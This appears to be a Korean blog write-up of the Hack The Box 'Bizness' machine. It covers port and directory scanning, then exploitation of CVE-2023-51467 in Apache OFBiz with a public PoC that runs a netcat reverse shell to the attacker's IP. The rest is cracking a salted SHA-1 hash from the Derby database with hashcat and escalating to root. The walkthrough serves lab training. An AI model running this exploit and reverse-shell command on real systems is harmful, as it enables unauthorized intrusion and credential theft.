Oh! JUN

[Hack The Box] bizness 본문

문제풀이/Hack The Box

[Hack The Box] bizness

Kwon Oh! JUN 2024. 2. 19. 18:36

 

1. 정보수집

1.1. 포트 스캔

nmap -sV 10.10.11.252 -T5


1.2. 디렉터리 확인

dirsearch -u https://bizness.htb

'accounting' 로그인 관련 디렉터리인거 같음.


1.3. 서브 도메인 확인

ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://bizness.htb/ -H "Host: FUZZ.bizness.htb" -mc 200

서브 도메인은 확인 할 수 없었음.


2. 초기접근

2.1. 'CVE-2023-51467' 활용한 리버스 쉘

https://bizness.htb/accounting

Apache OFBiz는 오픈 소스 전사적 자원 관리 시스템입니다. 엔터프라이즈의 많은 비즈니스 프로세스를 통합하고 자동화하는 엔터프라이즈 애플리케이션 제품군을 제공합니다. OFBiz는 Apache Software Foundation 최상위 프로젝트입니다

'/accounting' 디렉터리 검색해보니까 로그인 관련 웹 페이지를 확인할 수 있음. OFBIZ 관련해서 CVE 검색해볼꺼임.


wget https://raw.githubusercontent.com/jakabakos/Apache-OFBiz-Authentication-Bypass/master/exploit.py

'CVE-2023-51467' 취약점을 확인할 수 있었고 사용해서 리버스 쉘을 실행할꺼임.

 

 

GitHub - jakabakos/Apache-OFBiz-Authentication-Bypass: This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 prea

This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 preauth RCE vulnerabilities found in Apache OFBiz. - jakabakos/Apache-OFBiz-Authentication-Bypass

github.com


wget https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/raw/master/ysoserial-all.jar

exploit와 동일한 디렉터리에 ysoserial-all.jar 파일이 있어야 함.


python3 exploit.py --url https://bizness.htb/ --cmd 'nc -c bash 10.10.14.68 9001'

해당 exploit은 https://bizness.htb/(공격대상) 10.10.14.68 9001(공격자)와 리버스스 쉘 연결할꺼임.


nc -lvp 9001

공격자는 9001 포트 열어놓으면 리버스 쉘 연결된것을 확인할 수 있음.


find / -name "user.txt" 2>/dev/null

먼저, 'user.txt' flag를 확인할 수 있음.


3. 권한상승

3.1. SHA-1 해시 크랙

cat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c54d0.dat

필드 설명
'SHA' SHA 암호 알고리즘
'd' 솔트
'uP0_QaVBpDWFeo8-dRzDqRwXQ2I' 암호화된 해시

 

  1. SHA-1: 160비트의 해시 값을 생성하며, 16진수로 표현하면 40자리입니다.
  2. SHA-224: 224비트의 해시 값을 생성하며, 16진수로 표현하면 56자리입니다.
  3. SHA-256: 256비트의 해시 값을 생성하며, 16진수로 표현하면 64자리입니다.
  4. SHA-384: 384비트의 해시 값을 생성하며, 16진수로 표현하면 96자리입니다.
  5. SHA-512: 512비트의 해시 값을 생성하며, 16진수로 표현하면 128자리입니다.

암호화된 해시(uP0_QaVBpDWFeo8-dRzDqRwXQ2I)를 확인하면 25자임. 분명 SHA 알고리즘을 사용했지만, SHA-1, SHA-224, SHA-256 ... 그 어디에도 속하지 않음. 

 

Base64 인코딩은 바이너리 데이터를 ASCII 문자로 변환하는 인코딩 방법입니다. 이 방법은 바이너리 데이터를 텍스트로 안전하게 전송하거나 저장할 수 있게 해줍니다.

Base64 인코딩은 64개의 안전한 문자(대문자 A-Z, 소문자 a-z, 숫자 0-9, 그리고 '+'와 '/')를 사용합니다. 또한, '=' 문자는 패딩으로 사용됩니다.

그러나, '+'와 '/' 문자는 URL과 파일 시스템에서 특별한 의미를 가지므로, 이 문자들을 사용한 Base64 인코딩된 데이터를 URL에 직접 포함시키거나 파일 이름으로 사용하는 것은 문제를 일으킬 수 있습니다.

따라서, 이런 문제를 피하기 위해 URL 안전한 버전의 Base64 인코딩이 만들어졌습니다. 이 버전에서는 '+' 문자 대신 '-' 문자를, '/' 문자 대신 '_' 문자를 사용합니다. 이렇게 하면 인코딩된 데이터를 URL에 직접 포함시키거나 파일 이름으로 사용해도 문제가 발생하지 않습니다.

따라서, 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I'와 같이 '-'와 '' 문자를 포함하는 Base64 인코딩된 데이터는 URL 안전한 버전의 Base64 인코딩을 사용한 것으로 보입니다. 이 데이터를 표준 Base64 인코딩으로 변환하려면 '-'를 '+'로, ''를 '/'로 치환해야 합니다.

 

 

base64 — Base16, Base32, Base64, Base85 Data Encodings

Source code: Lib/base64.py This module provides functions for encoding binary data to printable ASCII characters and decoding such encodings back to binary data. It provides encoding and decoding f...

docs.python.org


 

 

CyberChef

 

gchq.github.io


b8fd3f41a541a435857a8f3e751cc3a91c174362:d

'hash:salt' 형식으로 hash.txt 파일을 만들어 줌.


hashcat -m 120 -a 0 --force hash.txt /usr/share/wordlists/rockyou.txt

옵션 설명
-m 120 해시 유형: SHA1 해시에 대한 암호화된 형식
-a  0 공격 모드 : 사전 공격
--force 일부 공고나 체크를 무시함

'usr/share/wrodlists/rockyou.txt' 워드리스트를 사용해서 hash.txt를 크랙함.

 

b8fd3f41a541a435857a8f3e751cc3a91c174362:d를 크랙한 결과 'monkeybizness'임을 알 수 있음.


su root

root 권한으로 상승.


find / -name "root.txt" 2>/dev/null

'root.txt' flag 확인.

'문제풀이 > Hack The Box' 카테고리의 다른 글

[Hack The Box] crafty (보류 => 문제해결 => 또 안됨)  (0) 2024.02.20
[Hack The Box] codify  (0) 2024.02.16
[Hack The Box] analytics  (0) 2024.02.14
[Hack The Box] devvortex  (0) 2024.02.14
[Hack The Box] cozyhosting  (0) 2024.02.13